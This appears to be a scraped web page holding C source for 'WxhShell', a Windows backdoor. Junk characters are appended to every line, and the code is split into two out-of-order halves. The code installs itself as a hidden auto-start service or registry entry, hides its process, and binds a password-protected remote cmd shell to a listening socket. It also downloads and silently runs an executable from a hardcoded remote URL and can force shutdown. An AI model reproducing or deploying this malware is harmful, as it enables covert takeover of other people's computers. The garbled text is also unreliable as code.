    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); V.-cm51I  
    if(Boot(SHUTDOWN)) ' >k1h.i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >K!$@]2F  
    else { T$"sw7<  
    closesocket(wsh); d<cqY<y VA  
    ExitThread(0); W P9PX  
    } hYbaVE  
    break; 3jx/1VV  
    } Tvl"KVGm  
  // 获取shell 7DPxz'7):  
  case 's': { ^O QeOTF  
    CmdShell(wsh); pCC3r t(  
    closesocket(wsh); adWH';Q:  
    ExitThread(0); A=+1PgL66  
    break; iyv5\  
  } Jbn^G7vH<6  
  // 退出 &Lbh?C  
  case 'x': { *| as-!${k  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <8ih >s(C  
    CloseIt(wsh); U'LPaf$O  
    break; RqKkB8g  
    } i<{:J -U|  
  // 离开 fb[? sc  
  case 'q': { b#( X+I  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %uz6iQaq]X  
    closesocket(wsh); 9I[k3  
    WSACleanup(); rV fZ_\|  
    exit(1); O$7cN\Z  
    break; > zfFvx_q  
        } 3/ '5#$  
  } .sSbU^U  
  } pv,z$3Q  
*RmD%[f  
  // 提示信息 K SJ Ko  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I23"DBR3  
} ~(`&hYE  
  } NQcNY=  
aUi^7;R&<  
  return; k'NP+N<M  
} B9wQ;[gQB  
@D$ogU,#  
// shell模块句柄 ?_d3|]N  
int CmdShell(SOCKET sock) }.D adV  
{ XZ<8M}Lg  
STARTUPINFO si; :Bi 4z(  
ZeroMemory(&si,sizeof(si)); tB`IBuy9!"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bO* hmDt  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; v0(_4U]/  
PROCESS_INFORMATION ProcessInfo; 2O}X-/H  
char cmdline[]="cmd"; aF[#(PF  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Sq x'nXgO  
  return 0; Te`MIR  
} NNMn,J  
LRR)T: e}q  
// 自身启动模式 kP1cwmZ7F  
int StartFromService(void) a4 mRu|x  
{ q ,+29  
typedef struct |S]T,`7u  
{ IdCE<Oj\  
  DWORD ExitStatus; R[l~E![!j  
  DWORD PebBaseAddress; uR.`8s|  
  DWORD AffinityMask; 4|UtE<<b  
  DWORD BasePriority;  &\ K  
  ULONG UniqueProcessId; }L @~!=q*  
  ULONG InheritedFromUniqueProcessId; Oq:$GME  
}   PROCESS_BASIC_INFORMATION; h0C>z2iH  
+R_s(2vz  
PROCNTQSIP NtQueryInformationProcess; _zkTx7H  
*xN?5u%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8Vy/n^3)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; m95] z18T'  
F_&H*kL L3  
  HANDLE             hProcess; )d>Dcne  
  PROCESS_BASIC_INFORMATION pbi; ,ZVhL* "  
}}l jVUpC%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); s^k<r;'\  
  if(NULL == hInst ) return 0; .LGA0  
xyHv7u%*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); y(O~=S+<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); o*3\xg  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); B>[myx  
e-nwR  
  if (!NtQueryInformationProcess) return 0; $RYOj{1  
R[rOzoNp0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); FH{p1_kZ=  
  if(!hProcess) return 0; {{AZW   
sq@c?!'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (wvU;u  
Z*IW*f&0>1  
  CloseHandle(hProcess); TPLv]$n  
O)"Z%B  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lYey7tl{  
if(hProcess==NULL) return 0; DPCQqV|7  
iba8G]2  
HMODULE hMod; z /nW; ow  
char procName[255]; gGx<k3W^  
unsigned long cbNeeded; ND/oKM+?  
h gu\~}kD  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); wYDdy gS  
Lt i2KY}/%  
  CloseHandle(hProcess); {Es1bO  
>U(E \`9D  
if(strstr(procName,"services")) return 1; // 以服务启动 ! %B-y 9\  
oi8M6l  
  return 0; // 注册表启动 ge1U1o  
} i(*fv(z  
9Q1w$t~Y  
// 主模块 N,.awA{  
int StartWxhshell(LPSTR lpCmdLine) .HRd6O;  
{ iBmvy 7S?  
  SOCKET wsl; 8"A0@fNz  
BOOL val=TRUE; +11 oVW  
  int port=0; KUC%Da3  
  struct sockaddr_in door; "rVM23@ tq  
Asy2jw\V  
  if(wscfg.ws_autoins) Install(); D={$l'y9p  
],vid1E  
port=atoi(lpCmdLine); 2`> (LH  
w ~^{V4V  
if(port<=0) port=wscfg.ws_port; or bz`IQc  
JSx[V<7m  
  WSADATA data; 7PwH&rI  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; c[$i )\0  
)|#ExyRO  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   cQsSJBZ[v5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]:m4~0^#-(  
  door.sin_family = AF_INET; MP.ye|i4Q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Kjpsz];  
  door.sin_port = htons(port); l TVz'ys  
D_G]WW8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { N34bB>_  
closesocket(wsl); d[*NDMO  
return 1; :&LV^ A  
} "ZA`Lp;%w  
_ q AT%.  
  if(listen(wsl,2) == INVALID_SOCKET) { ~f( #S*Ic  
closesocket(wsl); s>[Oe|`  
return 1; =h|7bYLy  
}  )\kNufP  
  Wxhshell(wsl); ~#)9Kl7<X  
  WSACleanup(); bJkFCI/  
rrq7UJ;  
return 0; eLbh1L  
a&dP@)  
} r{_1M>F D!  
>GzH_]  
// 以NT服务方式启动 T'9M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !1@o Z(  
{ c(Fo-4K  
DWORD   status = 0; lE!.$L*k  
  DWORD   specificError = 0xfffffff; _@VKWU$$  
QUg<~q)Oq  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Hl*#iUq  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; lTFo#p_(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "{d[V(lE"  
  serviceStatus.dwWin32ExitCode     = 0; [4@@b"H  
  serviceStatus.dwServiceSpecificExitCode = 0; \jS^+Xf?^  
  serviceStatus.dwCheckPoint       = 0; f# hmMa  
  serviceStatus.dwWaitHint       = 0; s?fEorG  
W)Y:2P<.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); uC6e2py<[  
  if (hServiceStatusHandle==0) return; 2z1r|?l  
Ik@MIxLK  
status = GetLastError(); R;uP^  
  if (status!=NO_ERROR) }uO2 x@  
{ zy~*~;6tW  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^K 9jJS9K  
    serviceStatus.dwCheckPoint       = 0; iR8;^C.aT  
    serviceStatus.dwWaitHint       = 0; Vg mYm~y'  
    serviceStatus.dwWin32ExitCode     = status; buWF6LFC  
    serviceStatus.dwServiceSpecificExitCode = specificError; xsrdHP1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); IxY!.d_s|~  
    return; 7t78=wpLc  
  } !\5)!B  
'b+ Tio  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; I;9DG8C&v*  
  serviceStatus.dwCheckPoint       = 0; JD AX^]  
  serviceStatus.dwWaitHint       = 0; KqNsCT+j  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); f917F.1 I  
} k9c`[M  
Z'm( M[2K  
// 处理NT服务事件,比如:启动、停止 }/g1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) G {a;s-OA3  
{ Yi19VU|/  
switch(fdwControl) 1-R4A7+3  
{ Bma.Uln  
case SERVICE_CONTROL_STOP: "IWL& cH3  
  serviceStatus.dwWin32ExitCode = 0; w"A>mEex<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; k\ZU%"^J  
  serviceStatus.dwCheckPoint   = 0; $]?M[sL\N7  
  serviceStatus.dwWaitHint     = 0; W=2]!%3#  
  { ;)sC{ "Jb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H{_6e6`e.  
  } fvG4K(  
  return; L_!}R  
case SERVICE_CONTROL_PAUSE: : %U lNk  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; w2K>k/v{-  
  break; ytV4qU82G  
case SERVICE_CONTROL_CONTINUE: t3!~=U  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~$7YEs)  
  break; 0f;|0siTAm  
case SERVICE_CONTROL_INTERROGATE: u0$}VO5/a  
  break; lvUWs  
}; ESe$6)P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KnK\X>:  
} C4|79UG>s  
j"&Oa&SH  
// 标准应用程序主函数 /EL3Tt  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?Uhjyi  
{ E clsOBg  
3p'(E\VJ  
// 获取操作系统版本 2 F ~SH  
OsIsNt=GetOsVer(); ,rhNXx  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %B| Ca&  
<S0gIg`)  
  // 从命令行安装 'jKCAU5/0;  
  if(strpbrk(lpCmdLine,"iI")) Install(); |;YDRI  
+V#dJ[,8;.  
  // 下载执行文件 / 6DW+!  
if(wscfg.ws_downexe) { %y)LBSxf  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) n5*m x7  
  WinExec(wscfg.ws_filenam,SW_HIDE); B5]nP .R  
} y"zZ9HQM  
G52z5-=v  
if(!OsIsNt) { ]YB,K)WQ  
// 如果时win9x,隐藏进程并且设置为注册表启动 X\BdN Hr  
HideProc(); % "ZC9uq?  
StartWxhshell(lpCmdLine); zZ8:>2Ps(  
} jYW-}2L  
else 2JHV*/Q  
  if(StartFromService()) !'=< uU-  
  // 以服务方式启动 i"{znKz vD  
  StartServiceCtrlDispatcher(DispatchTable); |(9l_e|  
else J z-RMX=  
  // 普通方式启动 &3P"l.j  
  StartWxhshell(lpCmdLine); c2yZvi  
~e+pa|lO  
return 0; EsLtC5]  
} VJtRL')  
Sqla+L*  
{%X[Snv  
M|7{ZE`Y  
=========================================== 2*zMLI0.  
nB%[\LtZ?  
}]j#C  
IpVtbDW  
U@)WTH6d  
7#9fcfL  
" CW~c<,"  
}`uq:y  
#include <stdio.h> RNX>I,2sh  
#include <string.h> g<i>252>  
#include <windows.h> [ _&z+  
#include <winsock2.h> YKa9]Q  
#include <winsvc.h> et`rPK~m  
#include <urlmon.h> r#^uY:T%  
gE6{R+sp  
#pragma comment (lib, "Ws2_32.lib") uHyc7^X>  
#pragma comment (lib, "urlmon.lib") 6H|&HV(!R  
!GoHCe[10  
#define MAX_USER   100 // 最大客户端连接数 CrX1qyR  
#define BUF_SOCK   200 // sock buffer qkq^oHI  
#define KEY_BUFF   255 // 输入 buffer Vc "+|^  
-4S4I  
#define REBOOT     0   // 重启 g"D:zK)  
#define SHUTDOWN   1   // 关机 :tLMh08h  
e`% <D[-  
#define DEF_PORT   5000 // 监听端口 ZZW%6-B  
Q7?[@2HN  
#define REG_LEN     16   // 注册表键长度 -M`+hVs?  
#define SVC_LEN     80   // NT服务名长度 2O0</^Z%E  
HH^yruP\}  
// 从dll定义API >):>Pz%U  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .Kk'N  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); DcZ,a E]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); UFr5'T  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v t}A6mF  
}/F9(m  
// wxhshell配置信息 ]#J-itO  
struct WSCFG { |f+fG=a67V  
  int ws_port;         // 监听端口 =M34 HPG  
  char ws_passstr[REG_LEN]; // 口令 S!7|vb*ko  
  int ws_autoins;       // 安装标记, 1=yes 0=no \2)~dV:6+  
  char ws_regname[REG_LEN]; // 注册表键名 'tq4-11xB  
  char ws_svcname[REG_LEN]; // 服务名 AXpyia7nU  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 e:=+~F(f  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .OD{^Kq2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?/Z5%?6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (APGz,^9#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  6Xt c3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $`Aps7A  
q]m$%>  
}; Iyt.`z  
h) W|~y@  
// default Wxhshell configuration lf2(h4[1R  
struct WSCFG wscfg={DEF_PORT, h=ko_/<  
    "xuhuanlingzhe", H`8}w{ft&  
    1, rh6m  
    "Wxhshell", [u/Wh+  
    "Wxhshell", DgC;1U'  
            "WxhShell Service", W/<C$T4  
    "Wrsky Windows CmdShell Service", 93y!x}  
    "Please Input Your Password: ", &+8cI^ kp  
  1, 'V:ah3 8  
  "http://www.wrsky.com/wxhshell.exe", /??nO Vvt  
  "Wxhshell.exe" +rOd0?  
    }; <0H^2ekd  
b'G!)n  
// 消息定义模块 =' #yG(h  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <z-+{-?z~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |&rxDf}W  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Np R&`]  
char *msg_ws_ext="\n\rExit."; ykG^(.E  
char *msg_ws_end="\n\rQuit."; hSSFmEpr  
char *msg_ws_boot="\n\rReboot..."; -Sj|Y }  
char *msg_ws_poff="\n\rShutdown..."; x=VLRh%Gvl  
char *msg_ws_down="\n\rSave to "; -Deqlaf(  
7cZ(gdQ/  
char *msg_ws_err="\n\rErr!"; 3[iHe+U(  
char *msg_ws_ok="\n\rOK!"; ~_"/\; 1  
mO^vKq4r.  
char ExeFile[MAX_PATH]; Wj31mV  
int nUser = 0; _9"%;:t  
HANDLE handles[MAX_USER]; $oH?7sj  
int OsIsNt; +:m'  
?h'd\.j{  
SERVICE_STATUS       serviceStatus; " IC0v9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <I^Tug\M+  
_w49@9?  
// 函数声明 Y+_t50 S  
int Install(void); W= $, \D+  
int Uninstall(void); r7n-Xe  
int DownloadFile(char *sURL, SOCKET wsh); DbvKpM H  
int Boot(int flag); ^EmI;ks  
void HideProc(void); ]"4\]_?r  
int GetOsVer(void); >^ M=/+<c  
int Wxhshell(SOCKET wsl); y4N=v{EbL  
void TalkWithClient(void *cs); Fs;_z9ej-u  
int CmdShell(SOCKET sock); yX|0 R H  
int StartFromService(void); /FA0(< -}  
int StartWxhshell(LPSTR lpCmdLine); KJN{p~Q  
e'1}5Ky  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); d@_|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8yn}|Y9Fu  
2 1]8 7$  
// 数据结构和表定义 &\/p5RX  
SERVICE_TABLE_ENTRY DispatchTable[] = UqsX@jL!  
{ 0|@* `-:VO  
{wscfg.ws_svcname, NTServiceMain}, TClgywL  
{NULL, NULL} o<8=@ ^T  
}; TSAVXng  
x9VR>ux&  
// 自我安装 AF-uTf  
int Install(void) fs wQ*  
{ q~*>  
  char svExeFile[MAX_PATH]; ;]xJC j  
  HKEY key; l<=Y.P_2  
  strcpy(svExeFile,ExeFile); u}I\!-EX!v  
or]kXefG3  
// 如果是win9x系统,修改注册表设为自启动 [DO UIR9  
if(!OsIsNt) { Uk|(VR9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nRlvW{p;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zeG_H}[2&  
  RegCloseKey(key); =dT sGNz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b(|1DE0Cv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mu}T,+9\  
  RegCloseKey(key); t^-yK;`?q:  
  return 0; \w\{x0u  
    } Ju.B!)uS#  
  } WaYT7 :  
} COk;z.Kn  
else { 1Ydym2  
maR5hgWCHe  
// 如果是NT以上系统,安装为系统服务 [<p7'n3x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); DKxzk~sOM  
if (schSCManager!=0) XK t">W  
{ tW |K\NL  
  SC_HANDLE schService = CreateService Km9Y_`?  
  ( yYM_  
  schSCManager, 2dUVHu= +  
  wscfg.ws_svcname, YFY$iN~B,  
  wscfg.ws_svcdisp, ({_Dg43O'[  
  SERVICE_ALL_ACCESS, ?E:L6,a  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , C|W\qXCqu  
  SERVICE_AUTO_START, ^%pM$3ov  
  SERVICE_ERROR_NORMAL, &?mJL0fy  
  svExeFile, OfSHZ;,  
  NULL, <"Cacf g  
  NULL, yC]X&1,:z  
  NULL, ]5}C@W@_  
  NULL, 46cd5SLK  
  NULL _mJnhT3  
  ); DHlCus=ic  
  if (schService!=0) 1hn4YcHb  
  { k{q4Zz[  
  CloseServiceHandle(schService); kLw07&H  
  CloseServiceHandle(schSCManager); WfDpeXdO  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {Ex*8sU%p%  
  strcat(svExeFile,wscfg.ws_svcname); %t:pG}A>:C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \KJ\>2Y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); x{';0MkUV  
  RegCloseKey(key); -1 Ok_h"  
  return 0; &hb:~>  
    } Ow\dk^\-G8  
  } ZH<:YOQ  
  CloseServiceHandle(schSCManager); )|?s!rw +  
} *6trK`tx^  
} /X_g[*]?  
`pzXh0}|  
return 1; rL /e  
} 8I`t`C/4  
\Gk4J<  
// 自我卸载 E8=8OX/{Y  
int Uninstall(void) u'BuZF  
{ :"4Pr/}rT  
  HKEY key; c{dge/2yb  
8(EK17rE `  
if(!OsIsNt) { 6.!Cm$l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cnR.J  
  RegDeleteValue(key,wscfg.ws_regname); B8'e,9   
  RegCloseKey(key); "5,tEP!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,c;u]  
  RegDeleteValue(key,wscfg.ws_regname); :DlgNR`bq  
  RegCloseKey(key); t<|S7EqIL  
  return 0; &(] @L\A  
  } 1dy>a=W  
} z!r-g(^G  
} 7z=zJ4C  
else { 3. kP,  
gfPht 5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -!k$ Z  
if (schSCManager!=0) ^}gQh#  
{ R\B-cU[,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); nf7l}^/UE  
  if (schService!=0) eXqS9`zKr  
  { d }"Dp  
  if(DeleteService(schService)!=0) { QKAo}1Pq  
  CloseServiceHandle(schService); lbCTc,xT  
  CloseServiceHandle(schSCManager); 4t0B_o"  
  return 0; Sf2pU!5n^  
  } 0 =2D 90  
  CloseServiceHandle(schService); El}."}l&  
  } =D2jJk?AX  
  CloseServiceHandle(schSCManager); .9<  i  
} &F*L=Ng  
} %6vf~oG  
wm$1LZ8o-`  
return 1; oTPPYi[r  
} 1,tM  
f"=1_*eH  
// 从指定url下载文件 s:6pPJL  
int DownloadFile(char *sURL, SOCKET wsh) py9HUyr5eZ  
{ 'ow`ej  
  HRESULT hr; S|{'.XG  
char seps[]= "/"; B~ o;,}  
char *token; e*7nq ~ B5  
char *file; wIv_Z^% V  
char myURL[MAX_PATH]; Tq r]5  
char myFILE[MAX_PATH]; )Bl0 W  
b0A*zQA_)  
strcpy(myURL,sURL); UKBVCAK  
  token=strtok(myURL,seps); }w0>mA0=H  
  while(token!=NULL) xMAfa>]{n  
  { Iq@:n_~  
    file=token; ZZ<uiN$  
  token=strtok(NULL,seps); 5w\>Whbd  
  } ;<JyA3i^V,  
$rAHtr  
GetCurrentDirectory(MAX_PATH,myFILE); XQW+6LEQ  
strcat(myFILE, "\\"); b>B.3E\Pc  
strcat(myFILE, file); dc .oK4G}  
  send(wsh,myFILE,strlen(myFILE),0); '8Q:}{  
send(wsh,"...",3,0); 1kG{z;9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |hp_<F9.  
  if(hr==S_OK) \BV$p2m5-  
return 0; \B0,?_i  
else WW'8&:x  
return 1; h@5mVTb}i  
TsPx"+>7`  
} y&HfF~  
f__r " N  
// 系统电源模块 .#M'  
int Boot(int flag) #bqc}h9  
{ l Ikh4T6i  
  HANDLE hToken; {xw"t9(fE  
  TOKEN_PRIVILEGES tkp; Rn (vG-xQ  
`h>a2   
  if(OsIsNt) { Q -!,yCu  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @A_bZQ@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {Lex((  
    tkp.PrivilegeCount = 1; om`x"x&6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ag3[Nu1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,X[l C\1a  
if(flag==REBOOT) { Z'P>sV  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {&2a H> V/  
  return 0; Q-3o k7  
} h}X^  
else { ? 1OZEzA!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /B $9B  
  return 0; `aj;FrF  
} 7X h'VOljB  
  } Op&i6V}<s  
  else { h&$7^P  
if(flag==REBOOT) { td:GZ %  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) kEH(\3,l  
  return 0; h|=<I)}z  
} X=i^[?C  
else { e/pZLj]M  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) tevB2'3^  
  return 0; i'GBj,:  
} q~[@(+zP5  
} *} pl  
tOJK~%'  
return 1; I[r  
} '[E|3K5d  
(]JZ1s|  
// win9x进程隐藏模块 or?@Ti;  
void HideProc(void) Vv"JN?dHi  
{ aZ[ aZU  
1:7 uS.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +d7sy0  
  if ( hKernel != NULL ) 5pF4{Jd1  
  { ea"!:cL(g  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?-40bb  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); b51{sL  
    FreeLibrary(hKernel); B0_[bQoc1  
  } Ck71N3~W  
-dCM eC  
return; k<aKT?Ek>  
} 5XK}8\  
-8j<`(M' 5  
// 获取操作系统版本 Mw=sW5Z  
int GetOsVer(void) E\3fL"lM  
{ !H,_*u.  
  OSVERSIONINFO winfo; vdwh59W  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5_bIc=L1  
  GetVersionEx(&winfo); svt%UE|_:$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -Wp69DP6q  
  return 1; bPaE;?m  
  else ;.Lf9XJ   
  return 0; p$>e{-u  
} _/@VV5Mq  
F\' ^DtB  
// 客户端句柄模块 mN5`Fct*A>  
int Wxhshell(SOCKET wsl) WD wW`  
{ <78]OZ] Z  
  SOCKET wsh; X67.%>#3  
  struct sockaddr_in client; +~gqP k  
  DWORD myID; _R&}CP  
!ke_?+ 8sY  
  while(nUser<MAX_USER) l>l)m-;O  
{ v35wlt^}  
  int nSize=sizeof(client); -&4W0JK9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); yv.Y-c=  
  if(wsh==INVALID_SOCKET) return 1; m!{}Y]FZn  
I)wjTTM5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); c\X0*GX  
if(handles[nUser]==0) Jr0D:  
  closesocket(wsh); Oeua<,]Z~  
else 4WK@ap-~  
  nUser++; BUH~aV  
  } PV_E3,RY  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); q1:Y]Rbe  
G~,K$z/-l  
  return 0; s[ {L.9Y  
} =5NM =K  
R|7yhsJq,  
// 关闭 socket ( K5w0  
void CloseIt(SOCKET wsh) I\NiA>c  
{ Q.5C$I  
closesocket(wsh); gv&%2e}_  
nUser--; nZ;h&N -_-  
ExitThread(0); pEUbP,3M:  
} .'3&!#3  
6`sOhVD  
// 客户端请求句柄 z^+`S:  
void TalkWithClient(void *cs) h/h`?vWu  
{ DP2 ^(d<  
m$T?~o o  
  SOCKET wsh=(SOCKET)cs; "qEi$a&]  
  char pwd[SVC_LEN]; zdDn. vG  
  char cmd[KEY_BUFF]; aq ~g 54  
char chr[1]; 'r KDw06/  
int i,j; g.AMCM?z  
)@-v6;7b0  
  while (nUser < MAX_USER) { RX-qL,dc  
UQGOCP_  
if(wscfg.ws_passstr) { "][MCVYP  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UjmBLXz@T  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y`"~zq0D  
  //ZeroMemory(pwd,KEY_BUFF); ~7Ji+AJA  
      i=0; @"BvyS,p  
  while(i<SVC_LEN) { T*,kBJ  
*/=5m]  
  // 设置超时 a );>  
  fd_set FdRead; f/spJ<B).4  
  struct timeval TimeOut; [Z2:3*5r.  
  FD_ZERO(&FdRead); /*5t@_0fe  
  FD_SET(wsh,&FdRead); t;P%&:"@M  
  TimeOut.tv_sec=8; +r7uIwi$@  
  TimeOut.tv_usec=0; ]~my<3j}or  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); gu+c7qe  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =NyN.^bwT  
mQRQ2SN6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C -@  
  pwd=chr[0]; -4P2 2  
  if(chr[0]==0xd || chr[0]==0xa) { 8 *@knkJ  
  pwd=0; @\[UZVmBw  
  break; P;%4Imq3  
  } 7aH E:Dnwp  
  i++; liEb(<$a  
    } DlB"o.  
hZ0p /Bdv  
  // 如果是非法用户,关闭 socket FA 1E`AdU  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); LOY+^  
} U#oe8(?#  
R} nY8zE  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qXPT1%+)y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zz ^2/l  
"0pH@_8o{  
while(1) { B_FfXFQm<  
f =H,BQ  
  ZeroMemory(cmd,KEY_BUFF); 4:$?u}9[:[  
9/$D&tRN  
      // 自动支持客户端 telnet标准   $y !k)"k  
  j=0; Ndj9B|s_  
  while(j<KEY_BUFF) { 7g(,$5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;6N@raP7  
  cmd[j]=chr[0]; 6d~[My  
  if(chr[0]==0xa || chr[0]==0xd) { /1X0h  
  cmd[j]=0; i2or/(u`  
  break; ;IhkGPpWP  
  } Fs q=u-= :  
  j++; *G"vV>OSV  
    } tAD{{GW9  
{7^7)^@  
  // 下载文件 yteJHaq  
  if(strstr(cmd,"http://")) { rvT7 5dV0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); w$J0/eX{A  
  if(DownloadFile(cmd,wsh)) 8fpaY{]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xrnxpp!#^D  
  else iE}jilU  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jd;=5(2  
  } -a`EL]NX  
